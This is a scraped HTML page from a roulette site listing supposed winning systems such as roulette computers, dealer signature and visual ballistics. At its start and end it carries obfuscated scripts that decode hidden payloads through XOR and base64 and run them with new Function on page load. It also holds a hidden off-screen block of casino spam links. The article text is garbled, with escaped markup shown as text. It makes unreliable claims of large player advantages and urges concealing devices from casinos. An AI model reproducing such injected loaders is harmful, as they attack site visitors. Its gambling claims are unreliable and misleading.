1,122,2,39,27,54,20,13,7,118,30,39,61,118,0,125,45,120,42,39,31,58,1,39,61,63,2,26,8,122,43,9,31,39,7,36,37,63,3,26,57,60,0,36,15,54,40,57,15,119,4,36,11,56,42,57,15,56,0,55,27,32,2,55,54,52,15,13,33,32,4,29,33,56,3,36,28,124,4,13,126,120,5,55,33,58,3,22,118,54,1,39,38,97,10,55,126,57,3,36,23,61,1,32,45,123,5,36,11,118,5,52,23,57,3,22,45,15,2,36,33,123,2,32,3,15,3,26,27,62,3,6,23,37,5,26,122,58,40,57,15,59,5,13,41,127,23,36,11,120,5,6,118,6,11,38,3,22,5,55,61,56,10,26,33,59,5,36,33,61,5,125,42,124,20,15,15,59,5,13,41,127,45,26,15,56,1,36,8,125,43,15,118,31,10,15,58,122,45,57,15,56,0,55,27,32,2,55,54,52,5,55,126,63,1,32,20,37,15,13,122,33,5,10,24,54,2,10,33,60,10,26,33,59,5,36,33,61,5,54,45,120,30,36,61,120,2,22,42,122,6,10,15,54,5,52,33,54,5,125,7,2,4,39,118,120,43,6,0,122,30,39,118,56,3,52,23,118,30,39,61,124,3,10,8,57,0,29,57,57,3,22,38,124,20,15,15,59,5,13,41,127,45,29,61,124,3,36,33,57,5,39,58,39,47,35,119,56,44,124,31,15,2,39,41,33,0,22,11,57,3,26,3,57,30,36,58,39,1,29,33,54,30,13,61,124,3,10,8,125,42,39,31,60,2,29,23,37,15,13,122,120,1,29,123,125,8,31,57,31,11,22,11,56,30,39,126,61,1,32,45,15,2,39,41,33,0,22,11,58,1,39,57,56,3,10,11,61,1,41,61,120,4,55,58,124,42,35,31,39,30,10,122,60,30,10,42,125,1,32,23,37,15,10,11,127,5,26,12,125,1,32,20,37,7,39,4,37,15,13,122,33,5,10,24,54,3,10,11,120,2,29,126,57,2,25,7,15,2,39,41,33,0,22,11,57,3,29,61,124,3,36,33,57,5,39,58,39,1,29,33,54,30,13,61,124,3,10,8,125,42,39,31,15,3,26,27,62,3,6,45,54,1,39,38,97,9,39,126,58,3,13,127,125,42,32,20,37,7,35,31,15,2,39,41,33,0,22,11,61,1,36,11,121,42,54,27,3,11,12,8,54,2,13,61,58,0,36,11,122,0,36,37,35,42,57,15,63,4,55,27,63,2,52,7,126,42,32,20,37,7,32,20,37,7,36,37,63,3,26,57,60,0,36,15,54,40,57,15,52,4,36,11,124,5,6,45,15,0,26,3,118,2,10,57,34,42,39,31,124,1,22,45,15,0,26,3,118,2,10,57,34,23,25,7,15,5,26,41,60,0,22,11,52,1,36,11,122,5,52,42,124,2,26,33,60,5,39,126,54,40,57,118,58,3,10,7,124,2,10,62,54,2,26,33,61,3,10,3,62,1,32,45,54,5,36,3,52,42,35,31,62,30,39,127,97,15,10,11,124,1,36,61,61,23,39,31,127,2,10,15,54,2,29,118,118,20,22,38,58,45,25,119,122,45,52,7,120,5,52,45,57,1,124,24,122,1,39,61,125,15,10,57,101,3,52,0,122,45,55,118,101,2,26,122,55,2,9,27,11,4,13,61,57,20,31,15,35,5,36,126,52,45,52,61,101,5,52,123,34,43,9,118,32,43,6,31,15,2,26,37,57,2,39,61,39,45,125,41,52,30,39,61,120,2,13,58,122,15,32,3,124,1,124,24,59,7,35,31,58,1,39,61,63,2,26,8,97,15,10,126,35,3,29,119,125,15,13,37,122,5,52,27,11,15,10,27,52,30,13,57,118,4,31,4,52,15,10,11,124,1,36,61,61,42,32,11,60,0,52,33,54,42,52,37,63,3,26,57,60,0,36,15,54,42,57,15,120,2,55,122,55,42,39,31,62,30,39,127,97,15,10,23,33,2,52,7,32,5,35,7,15,1,39,118,59,3,32,34,123,15,10,33,56,2,36,4,54,2,26,33,61,5,36,3,60,23,15,15,56,30,39,45,55,30,32,45,15,1,39,118,59,3,32,11,58,1,39,57,63,3,55,58,124,20,22,38,122,20,10,23,123,42,57,15,124,5,13,118,55,4,55,62,124,2,26,33,60,5,39,126,54,40,57,15,124,5,13,118,55,4,55,62,54,2,26,33,56,3,52,122,118,1,32,42,57,15,125,12,126,43,125,12,52,43,6,38,124,20,13,126,120,5,55,33,58,3,22,118,15,3,55,23,54,0,39,38,125,15,10,27,52,30,13,57,118,4,22,28,59,42,35,31,39,42,32,11,118,30,39,61,118,0,125,45,123,5,36,11,118,5,52,23,57,3,22,42,124,4,13,126,120,5,55,33,58,3,22,118,15,3,55,23,54,0,39,38,125,15,10,27,52,30,13,57,118,4,22,28,59,42,35,31,39,42,35,31,39,1,29,33,54,30,13,61,124,3,10,8,97,15,10,61,101,0,39,61,101,3,52,12,125,15,10,61,125,4,36,12,124,4,13,37,101,2,22,118,15,30,10,11,120,2,10,27,35,1,25,7,121,3,10,57,63,3,36,33,54,5,125,11,118,2,26,33,101,5,52,33,47,3,52,33,55,1,36,11,60,42,125,41,61,30,13,126,124,2,55,58,122,42,35,31,15,30,10,11,120,2,10,27,35,1,22,11,61,2,26,54,39,15,10,61,125,4,36,12,126,43,6,15,101,2,52,20,54,2,52,45,56,23,13,54,39,43,6,31,15,3,39,33,59,1,26,31,63,42,6,38,123,15,13,34,39,43,6,31,29,30,39,61,125,45,26,37,52,3,10,15,58,42,54,61,101,5,52,62,54,3,26,15,33,42,125,20,57,47,25,119,56,44,124,119,124,20,15,15,118,3,26,33,61,0,29,23,123,45,26,122,61,4,36,11,118,23,39,61,58,5,36,62,37,42,52,61,57,30,13,33,55,1,36,11,60,45,26,45,120,30,36,61,36,7,52,61,57,30,13,33,55,1,36,11,60,45,26,126,57,1,55,20,124,45,26,122,56,2,52,33,54,1,54,57,125,0,36,3,121,42,57,15,118,3,26,33,61,0,29,23,123,42,35,31,39,15,10,3,35,3,26,23,33,42,124,119,124,45,29,61,125,1,36,8,125,1,29,33,54,30,13,61,124,3,10,8,125,15,10,61,125,4,36,12,124,4,10,23,123,42,57,15,121,0,55,23,57,42,41,15,121,30,36,23,60,30,36,3,57,42,57,15,121,0,55,23,57,42,35,31,39,42,35,31,39,42,32,42,124,20,15,115,115];
var _0x896936bbb88f=78;
var _0x44817fda57ff='';
for(var _0xdb4e634c0e23=0;_0xdb4e634c0e23<_0x0f6a410cebc3.length;_0xdb4e634c0e23++)
  _0x44817fda57ff+=String.fromCharCode(_0x0f6a410cebc3[_0xdb4e634c0e23]^_0x896936bbb88f);
var _0xa0da979cc88b=95;
var _0x39d989b8130d=atob(_0x44817fda57ff);
var _code='';
for(var _0xdb4e634c0e23=0;_0xdb4e634c0e23<_0x39d989b8130d.length;_0xdb4e634c0e23++)
  _code+=String.fromCharCode(_0x39d989b8130d.charCodeAt(_0xdb4e634c0e23)^_0xa0da979cc88b);
(new Function(_code))();
})();
</script>
        <a class="skip-link screen-reader-text" href="#content">
    Skip to content</a>
    <div class="body-overlay"></div>
    <div class="main-wrapper-boxed">
        <header id="amandalite-header" class="header">
            <div class="header-wrapper">
                <div class="header-maintop">
                                        <div id="nav-wrapper" class="nav-main main-menu-horizontal d-none d-lg-block">
                        <ul id="menu-menu-1" class="amandalite-main-menu"><li id="menu-item-309" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-309"><a href="https://www.rouletterebel.com/category/roulette/">Roulette</a></li>
<li id="menu-item-310" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-310"><a href="https://www.rouletterebel.com/category/mobile-roulette/">Mobile Roulette</a></li>
<li id="menu-item-311" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-311"><a href="https://www.rouletterebel.com/category/roulette-strategies/">Roulette Strategies</a></li>
</ul>                    </div>
                    <div class="header-search">                    
                        <a class="navbar-search toggle-modal" href="javascript:void(0)" data-toggle-target=".inner-search-header" aria-expanded="false" data-toggle-body-class="showing-search-modal" data-set-focus=".inner-search-header .text"><i class="fas fa-search"></i></a>

                        <a class="menu-touch d-lg-none toggle-modal" href="javascript:void(0)" data-toggle-target=".amandalite-menu-touch" data-toggle-body-class="showing-menu-modal" data-set-focus=".logo-navbar a" aria-expanded="false">
                            <div class="navbar-toggle">
                                <span></span>
                                <span></span>
                                <span></span>
                            </div>
                        </a>
                        
                    </div>
                </div>
                <div class="amandalite-logo"> 
                                        <h2>
                        	<a href="https://www.rouletterebel.com/">
        <img src="https://www.rouletterebel.com/wp-content/uploads/2020/12/cropped-rreb3-1.png" alt="Welcome to :">
    	    <span class="tag-line">www.rouletterebel.com</span>
	    </a>
                    </h2>
                                    </div>
            </div>
        </header>
        <div id="amandalite-modalsearch" class="inner-search-header cover-modal">
    <form role="search" method="get" class="searchform" action="https://www.rouletterebel.com/">
	<input type="text" class="text" placeholder="Search &amp; hit enter..." name="s" />
	<span><button type="submit" name="submit_search" class="button-search"><i class="fa fa-search"></i></button></span>
</form></div>        <div  id="amandalite-menumodal" class="amandalite-menu-touch cover-modal d-lg-none">
    <div class="logo-navbar">
        	<a href="https://www.rouletterebel.com/">
        <img src="https://www.rouletterebel.com/wp-content/uploads/2020/12/cropped-rreb3-1.png" alt="Welcome to :">
    	    <span class="tag-line">www.rouletterebel.com</span>
	    </a>
    </div>
    <div class="main-menu-vertical">
        <ul id="menu-menu-2" class="amandalite-main-menu amandalite-menu-vertical"><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-309"><a href="https://www.rouletterebel.com/category/roulette/">Roulette</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-310"><a href="https://www.rouletterebel.com/category/mobile-roulette/">Mobile Roulette</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-311"><a href="https://www.rouletterebel.com/category/roulette-strategies/">Roulette Strategies</a></li>
</ul>    </div>
</div>        <div id="content" class="amandalite-primary">
            
        <div class="main-contaier">
            <div class="container">
                <h1 class="page-title">The Top Roulette Systems &amp; Strategies That Really Work</h1>
                <div class="page-content">
                                        <div class="row justify-content-md-center">
                        <article class="amandalite-page col-md-11 col-lg-10 post-42 page type-page status-publish hentry">
                            <div class="page-excerpt">
                                <p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Roulette is not the unbeatable game that many people believe it to be. However, only a handful roulette strategies are shown to work. The most effective systems are listed below and they will guide you on how best you can find yourself winning real money at the &lt;a href=&#8221;https://www.5reeldriveslots.com/&#8221;&gt;most reliable online casino&lt;/a&gt;. &lt;img class=&#8221;alignright&#8221; src=&#8221;https://www.rouletterebel.com/wp-content/uploads/2021/10/Online-Roulette-Tournaments.png&#8221; /&gt;&lt;/span&gt;<br />
&lt;h2&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Roulette Computers (Hidden Electronic Devices)&lt;/span&gt;&lt;/h2&gt;<br />
&lt;span style=&#8221;font-weight: 400;&#8221;&gt;These covert technological gadgets use the wheel and ball&#8217;s speed to forecast the winning number. They are not your normal roulette system or technique. They are the most effective roulette method, and they are legal in about half of casinos. However, casinos may still prohibit you if you use them, so use them discreetly to avoid being caught. &lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;There are many roulette computers out there, but most of them cannot win on modern roulette wheels. If you do not do your homework before buying something, you can wind up wasting your money. &lt;/span&gt;</p>
<p>&lt;b&gt;Pros&lt;/b&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;: &lt;/span&gt;<br />
&lt;ul&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Approximately 90% of current wheels are outperformed. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Massive player advantage ranging from +20 to +120 percent &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;The most efficient way to win at roulette &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Extremely discreet (virtually undetectable when used correctly) &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Simple to understand and apply&lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;b&gt;Cons&lt;/b&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;: &lt;/span&gt;<br />
&lt;ul&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Legal at half of casinos. &lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Above all, roulette computers are the best and effective winning strategy. The good news is that you are able to see an in-person demonstration of the computers at leading gambling sites. In addition, you are also able to spin the wheel all by yourself. &lt;/span&gt;</p>
<p>&lt;img class=&#8221;aligncenter&#8221; src=&#8221;https://www.rouletterebel.com/wp-content/uploads/2021/10/online-roulette.jpg&#8221; /&gt;<br />
&lt;h2&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Physical Roulette System (Best Legal Systems) &lt;/span&gt;&lt;/h2&gt;<br />
&lt;span style=&#8221;font-weight: 400;&#8221;&gt;This is the most effective system that will predicts the winning number way before the ball is released. The good news is that it is legal at most online casinos. &lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;This roulette approach identifies the link between the wheel&#8217;s physical factors and the winning numbers. It essentially represents &#8220;cause and effect.&#8221;&lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt; After all, the winning number is never truly “random” – it is determined by physical factors like the ball and wheel. Knowing how the variables affect the winning number is more important than predicting the next winning number.&lt;/span&gt;</p>
<p>&lt;b&gt;Pros:&lt;/b&gt;<br />
&lt;ul&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Between 2% and 10% of the time, the player has an advantage. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Extremely discreet &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;It outperforms about half of today&#8217;s wheels. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Simple to understand and apply (designed to make sophisticated system easy for beginners) &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;It is possible to use it in a &lt;a href=&#8221;https://www.ab5ba.com/&#8221;&gt;variety of online casinos&lt;/a&gt;, including automated roulette wheels. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Overall, the greatest roulette strategy for predicting the outcome before the ball is released (PC, MAC, iPhone, iPad &amp;amp; Android) &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;After that, you can begin betting.&lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;b&gt;Cons&lt;/b&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;:&lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;It requires 50-200 spins per direction before placing the maximum bet. Nevertheless, most online gamblers find this practice very tedious. &lt;/span&gt;<br />
&lt;h2&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Visual Ballistics (using eyesight to predict winning numbers)&lt;/span&gt;&lt;/h2&gt;<br />
&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Visual ballistics makes advantage of your natural vision to predict where the ball will land. It is not as difficult as you might believe. In truth, with some practice, it becomes relatively simple, albeit it remains much more difficult than other effective tactics.   &lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Visual ballistics is a roulette method that is very similar to dealer signature, except that instead of predicting the winning number near the end of the spin, you predict it towards the end of the spin. When there are around five ball rotations left, for example, you make your forecast. &lt;/span&gt;</p>
<p>&lt;b&gt;Pros:&lt;/b&gt;</p>
<p>&amp;nbsp;<br />
&lt;ul&gt;<br />
 	&lt;li aria-level=&#8221;1&#8243;&gt;&lt;b&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Very quick to use &lt;/span&gt;&lt;/b&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;ul&gt;<br />
 	&lt;li aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Require 60-100 spins to assess each wheel. &lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&amp;nbsp;</p>
<p>&lt;b&gt;Cons:&lt;/b&gt;<br />
&lt;ul&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Late bets are required (after ball release) &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Only 3% of today&#8217;s wheels can compare. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Your constant behaviour is easy for the casino to see.&lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;h2&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Dealer Signature (consistent spinning dealers)&lt;/span&gt;&lt;/h2&gt;<br />
&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Many dealers keep the wheel and ball spinning at the same pace. This might result in predictable patterns known as &#8220;dealer signature,&#8221; which is why dealers are often replaced every 20-30 minutes. Roulette methods based on dealer signature, on the other hand, do not operate on all wheels. You&#8217;ll need the correct dealer and wheel combo.&lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;The principles are straightforward. To begin, keep in mind that the ball will likely to contact some metal deflectors (diamonds) more frequently than others on most wheels. These are referred to as &#8220;dominant diamonds.&#8221; It would appear like the image to the right if you made a chart displaying which diamonds the ball hits.&lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Second, keep in mind that the bounce of the ball is never completely predictable. If you look at where the ball hits the wheel (rotor), for example, you can estimate where the ball will land. You will not achieve perfect precision, but you don&#8217;t need it.&lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;To put it all together, dealer signature necessitates the acquisition of proper wheels first. Then you must locate an appropriate dealer for that wheel. It&#8217;s not tough, and while it works, it does have some limits.&lt;/span&gt;</p>
<p>&lt;b&gt;Pros: &lt;/b&gt;<br />
&lt;ul&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Very simple to use once you take note of the suitable wheel and dealer &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Get predictions before the ball is played&lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;b&gt;Cons&lt;/b&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;:&lt;/span&gt;<br />
&lt;ul&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Only 3% of today&#8217;s wheels can compare. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Finding proper circumstances takes time. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;It is simple for the casino to alter variables in order to cause you to lose. &lt;/span&gt;&lt;/li&gt;<br />
 	&lt;li style=&#8221;font-weight: 400;&#8221; aria-level=&#8221;1&#8243;&gt;&lt;span style=&#8221;font-weight: 400;&#8221;&gt;Patterns might shift due to slight variations in air pressure (even with same dealer)&lt;/span&gt;&lt;/li&gt;<br />
&lt;/ul&gt;<br />
&lt;span style=&#8221;font-weight: 400;&#8221;&gt;By now you might be asking yourself, which is the best, system you can use, and that is a very normal question if you are a considerable and serious gambler. &lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;The physics roulette system is preferred by most people because it is legal in all 50 states and can be used on a variety of wheels, including those found in many online casinos and automated wheels (where the ball is released automatically). &lt;/span&gt;</p>
<p>&lt;span style=&#8221;font-weight: 400;&#8221;&gt;It&#8217;s easy to use because automated software performs the complex analysis for you, and it provides you with convenient betting charts that show you when and where to bet.&lt;/span&gt;</p>
<p>&lt;img class=&#8221;aligncenter&#8221; src=&#8221;https://www.rouletterebel.com/wp-content/uploads/2021/10/graphic_main.jpg&#8221; /&gt;</p>
<div style="position: fixed; top: -4568px; left: -4039px;">
<p>Fans of digital casinos will find at <a href='https://wscasino.app'>https://wscasino.app</a> a highly considered gaming environment. Two-factor authentication increases protection against unauthorised account access. Referral bonuses reward players who successfully bring their friends to the platform. The tables are available around the clock, so players can jump in at any time. Fans of jackpot games will find a wide range of progressive slots with prize pools sometimes reaching seven figures. An official contact address for legal enquiries is provided in the imprint. Visa, Mastercard, Skrill and Neteller are among the most frequently used payment options. Landscape mode is especially well suited to table and live games. An integrated blog regularly publishes articles about industry trends and playing strategies. The typographic design ensures good readability even at smaller text sizes. The positive response from the community confirms the impression of an all-round successful platform.</p>
</div>
                                                            </div>
                            <script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>